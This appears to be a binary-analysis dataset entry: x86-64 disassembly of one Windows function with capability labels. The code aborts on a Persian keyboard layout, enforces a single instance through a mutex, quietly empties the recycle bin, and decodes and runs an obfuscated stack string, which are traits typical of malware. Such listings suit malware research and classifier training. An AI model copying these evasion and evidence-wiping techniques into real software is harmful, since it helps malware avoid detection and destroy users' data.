Function at 0x140040060
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Contain obfuscated stackstrings
Create process on windows
Empty recycle bin quietly
Empty the recycle bin
Get keyboard layout
Terminate process

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
mov qword [rbp - 0x29], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
mov rax, qword [0x14011f190]
xor rax, rsp
mov qword [rbp + 0x4f], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
movsxd rbx, eax
mov eax, 8
mul rbx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.14006f86c
mov rdi, rax
mov qword [rbp - 1], rax
mov qword [rbp + 0x47], rax
mov rdx, rax
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetKeyboardLayoutList]
xor r14d, r14d
test eax, eax
je 0x140022868
test ebx, ebx
jle 0x140022868
mov eax, r14d
mov ecx, 0x429
cmp word [rdi + rax*8], cx
je 0x140022932
inc rax
cmp rax, rbx
jl 0x140022856
test rdi, rdi
je 0x14002287a
mov edx, 8
mov rcx, rdi
call fcn.14006f490
call fcn.140042210
xor eax, eax
mov qword [rbp + 0xf], rax
movdqa xmm0, xmmword [0x140101640]
movdqu xmmword [rbp - 0x39], xmm0
mov byte [rbp - 0x49], al
lea r8d, [rax + 0x24]
lea rdx, [0x140100200]
lea rcx, [rbp - 0x49]
call fcn.140022ce0
lea r8, [rbp - 0x49]
cmp qword [rbp - 0x31], 0x10
cmovae r8, qword [rbp - 0x49]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rbp + 7], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
setne bl
mov byte [rbp + 0xf], bl
mov rdx, qword [rbp - 0x31]
cmp rdx, 0x10
jb 0x140022914
inc rdx
mov rcx, qword [rbp - 0x49]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002290f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140022c0d
call fcn.14006f490
movdqa xmm0, xmmword [0x140101640]
movdqu xmmword [rbp - 0x39], xmm0
mov byte [rbp - 0x49], 0
test bl, bl
jne 0x14002293e
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140025ec0
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 7]
call qword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
lea rcx, [rbp + 0x17]
call fcn.1400393a0
nop
mov rdi, qword [rbp + 0x1f]
mov rbx, qword [rbp + 0x17]
cmp rbx, rdi
je 0x140022979
mov rcx, rbx
call fcn.140041f20
add rbx, 0x20
cmp rbx, rdi
jne 0x140022968
lea rcx, [rbp + 0x17]
call fcn.1400312f0
call fcn.1400425b0
call fcn.1400437a0
call fcn.140043fb0
call fcn.140044e80
call fcn.140042f50
lea rcx, [rbp + 0x2f]
call fcn.140039a80
mov rdi, qword [rbp + 0x37]
mov rbx, qword [rbp + 0x2f]
cmp rbx, rdi
je 0x1400229c2
mov rcx, rbx
call fcn.140043530
add rbx, 0x20
cmp rbx, rdi
jne 0x1400229b1
lea rcx, [rbp + 0x2f]
call fcn.1400312f0
call fcn.140030210
mov rbx, qword [0x14012c5d0]
test rbx, rbx
je 0x1400229f1
mov rcx, rbx
call fcn.140025860
mov edx, 0xe0
mov rcx, rbx
call fcn.14006f490
mov rbx, qword [0x14012c5d8]
test rbx, rbx
je 0x140022a90
mov rcx, rbx
call fcn.140024910
mov rax, qword [rbx + 8]
test rax, rax
je 0x140022a74
mov rdx, qword [rbx + 0x10]
mov rcx, rax
cmp rax, rdx
je 0x140022a33
nop
cmp dword [rax + 8], 0
jne 0x140022c13
add rax, 0x10
cmp rax, rdx
jne 0x140022a20
mov rdx, qword [rbx + 0x18]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
cmp rdx, 0x1000
jb 0x140022a63
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140022c01
mov rcx, r8
call fcn.14006f490
mov qword [rbx + 8], r14
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], r14
mov rcx, qword [rbx]
test rcx, rcx
je 0x140022a83
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov edx, 0x38
mov rcx, rbx
call fcn.14006f490
call fcn.140043bb0
call fcn.140044730
mov ebx, r14d
nop dword [rax]
lea rcx, [rbp - 0x21]
call fcn.140034670
mov r8, rax
cmp qword [rax + 0x18], 8
jb 0x140022ab6
mov r8, qword [rax]
mov byte [rbp - 0x59], 0
mov byte [rbp - 0x58], 0x40
mov byte [rbp - 0x57], 0x72
mov byte [rbp - 0x56], 0x53
mov byte [rbp - 0x55], 0x72
mov byte [rbp - 0x54], 1
mov byte [rbp - 0x53], 0x72
mov byte [rbp - 0x52], 0x2d
mov byte [rbp - 0x51], 0x72
mov byte [rbp - 0x50], 0x72
mov byte [rbp - 0x4f], 0x72
movzx eax, byte [rbp - 0x58]
movzx eax, byte [rbp - 0x59]
test al, al
jne 0x140022b54
mov r9, r14
nop dword [rax]
nop word [rax + rax]
movzx ecx, byte [rbp + r9 - 0x58]
mov eax, 0x72
sub eax, ecx
lea ecx, [rax + rax*4]
shl ecx, 2
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rbp + r9 - 0x58], cl
inc r9
cmp r9, 0xa
jb 0x140022b00
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea rdx, [rbp - 0x58]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp - 9]
cmp rdx, 8
jb 0x140022bac
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x21]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022ba7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140022c07
call fcn.14006f490
inc ebx
cmp ebx, 1
jl 0x140022aa0
call fcn.140048940
call fcn.140044ab0
nop
mov rcx, qword [rbp + 7]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rbp + 7]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.14006f430
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.14009c704
nop
call fcn.14009c704
int3
call fcn.14009c704
nop
call fcn.14009ee5c
int3
jmp 0x1400227d0